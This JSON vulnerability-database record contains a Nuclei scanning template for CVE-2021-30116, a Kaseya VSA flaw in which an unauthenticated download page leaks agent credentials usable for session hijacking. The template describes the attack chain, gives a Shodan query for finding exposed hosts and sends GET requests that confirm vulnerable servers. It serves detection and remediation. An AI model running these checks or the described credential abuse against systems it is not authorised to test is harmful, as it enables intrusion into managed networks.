{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2021-30116/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2021-30116/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2021-30116/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2021-30116/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2021-30116/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2021-30116"},"sightings":{"href":"/api/v1/sightings/cve-2021-30116"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2021/CVE-2021-30116.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2021-30116\n\ninfo:\n  name: Kaseya VSA < 9.5.7 - Credential Disclosure via Windows Agent\n  author: daffainfo\n  severity: critical\n  description: |\n    Kaseya VSA before 9.5.7 allows credential disclosure, as exploited in the wild in July 2021. By default Kaseya VSA on premise offers a download page where the clients for the installation can be downloaded. The default URL for this page is https://x.x.x.x/dl.asp When an attacker download a client for Windows and installs it, the file KaseyaD.ini is generated (C:\\Program Files (x86)\\Kaseya\\XXXXXXXXXX\\KaseyaD.ini) which contains an Agent_Guid and AgentPassword This Agent_Guid and AgentPassword can be used to log in on dl.asp (https://x.x.x.x/dl.asp?un=840997037507813&pw=113cc622839a4077a84837485ced6b93e440bf66d44057713cb2f95e503a06d9) This request authenticates the client and returns a sessionId cookie that can be used in subsequent attacks to bypass authentication. Security issues discovered --- * Unauthenticated download page leaks credentials * Credentials of agent software can be used to obtain a sessionId (cookie) that can be used for services not intended for use by agents * dl.asp accepts credentials via a GET request * Access to KaseyaD.ini gives an attacker access to sufficient information to penetrate the Kaseya installation and its clients. Impact --- Via the page /dl.asp enough information can be obtained to give an attacker a sessionId that can be used to execute further (semi-authenticated) attacks against the system.\n  impact: |\n    Unauthenticated attackers can obtain Agent_Guid and AgentPassword credentials via the download page, gaining authenticated access to execute further attacks against Kaseya VSA.\n  remediation: |\n    Update to version 9.5.7 or later to remediate this vulnerability.\n  reference:\n    - https://csirt.divd.nl/2021/07/04/Kaseya-Case-Update-2/\n    - https://csirt.divd.nl/2021/07/07/Kaseya-Limited-Disclosure/\n    - https://helpdesk.kaseya.com/hc/en-gb/articles/4403440684689-Important-Notice-July-2nd-2021\n    - https://www.secpod.com/blog/kaseya-vsa-zero-day-by-revil/\n    - https://nvd.nist.gov/vuln/detail/CVE-2021-30116\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H\n    cvss-score: 10.0\n    cve-id: CVE-2021-30116\n    epss-score: 0.85735\n    epss-percentile: 0.99716\n    cwe-id: CWE-522\n    cpe: cpe:2.3:a:kaseya:virtual_system_administrator:*:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    vendor: kaseya\n    product: virtual_system_administrator\n    shodan-query: http.favicon.hash:-1445519482\n  tags: cve,cve2021,kaseya,virtual_system_administrator,kev,vkev,vuln\n\nflow: |\n  http(1)\n  for (let mkdefault_id of iterate(template.id)) {\n    set(\"mkdefault_id\", mkdefault_id)\n    http(2)\n  }\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/dl.asp\"\n\n    matchers:\n      - type: dsl\n        dsl:\n          - \"contains_all(body, '<title>Download Agent</title>', 'mkDefault.asp?id=')\"\n          - \"status_code == 200\"\n        condition: and\n        internal: true\n\n    extractors:\n      - type: regex\n        name: id\n        group: 1\n        internal: true\n        regex:\n          - 'mkDefault\\.asp\\?id=([0-9-]+)'\n\n  - method: GET\n    path:\n      - \"{{BaseURL}}/mkDefault.asp?id={{mkdefault_id}}\"\n\n    matchers-condition: and\n    matchers:\n      - type: regex\n        part: header\n        regex:\n          - \"Location: /install/VSA-default-([0-9-]+)/KcsSetup\\\\.exe\"\n\n      - type: status\n        status:\n          - 302\n# digest: 490a0046304402203ff637f539448f077b295757ffc983418333a9d65db514ae6716587469d03f8002200da3897534b721ec9e285c864c9b236457239731d96aa791fd30c7e896cc15fa:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2021-30116"}